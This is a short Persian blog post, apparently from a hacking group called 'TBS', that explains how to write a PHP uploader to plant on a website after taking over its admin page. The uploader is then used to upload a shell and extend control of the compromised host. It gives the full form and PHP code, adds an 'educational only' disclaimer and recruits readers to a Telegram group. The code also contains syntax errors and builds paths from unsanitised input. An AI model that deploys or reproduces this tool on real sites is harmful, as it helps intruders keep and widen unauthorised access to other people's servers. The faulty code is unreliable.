برنامه نویس و گیک D:
ساخت یک آپلودر ساده برا دسترسی راحت از هاست
سلام به شما دوستای عزیز طبق معمول تیم امنیت TBS هیچ مسئولیتی در قبال استفاده نادرست شما نداره و از همه مهم تر این فقط جهت آموزش به شما دوستان عزیز ارائه داده میشود.
موفق باشید.
قبل از شروع این مقاله کوتاه ، تیم امنیتی TBS در حال بزرگتر شدن است و دوستداران هک و امنیت میتونن توی این گروه فعالیت کنن برای دیدن شرایط به ادرس :
https://t.me/locallhost
@locallhost
در تلگرام ارتباط برقرار کنید.
چرا از آپلودر استفاده میکنیم؟
ببینید ما وقتی از یک ادمین پیج دسترسی میگیریم باید اول از همه ببینیم سایت مورد نظر از چه زبان یا فریمورکی استفاده میکنه و بعدش اقدام به نوشتن آپلودر کنین.
ما در این آموزش آپلودر خودمون رو با زبان php مینویسیم چون بیشتر وب سایت ها با این زبان اداره میشن.
خب اول از همه ما باید یک فرمی درست کنیم بدون action و ترجیحا با متد post:
<form method="post" enctype="multipart/form-data">
<input type="text" name="name"><br>
<input type="file" name="shell"><br>
<input type="submit" name="btn"><br>
</form>
<?php
if(isset($_POST['btn']){
$name= $_POST['name'];
mkdir($name);
$from = $_FILES['shell']['tmp_name'];
$to = $name."/"
move_uploaded_file($from,$to);
}
?>
و این فایل رو اپلود میکنیم و یک فایلی به اسم دلخواه ما آپلود میکنه و میتونیم خیلی راحت دسترسی خودمون رو کامل تر کنیم.
با تشکر تیم امنیتی TBS
مطلبی دیگر از این انتشارات
ارسال کد به مخزن داده در بایگانی جهانی
مطلبی دیگر از این انتشارات
گوشه هایی از زندگی یه برنامه نویس
مطلبی دیگر از این انتشارات
آشنایی با حملات XSS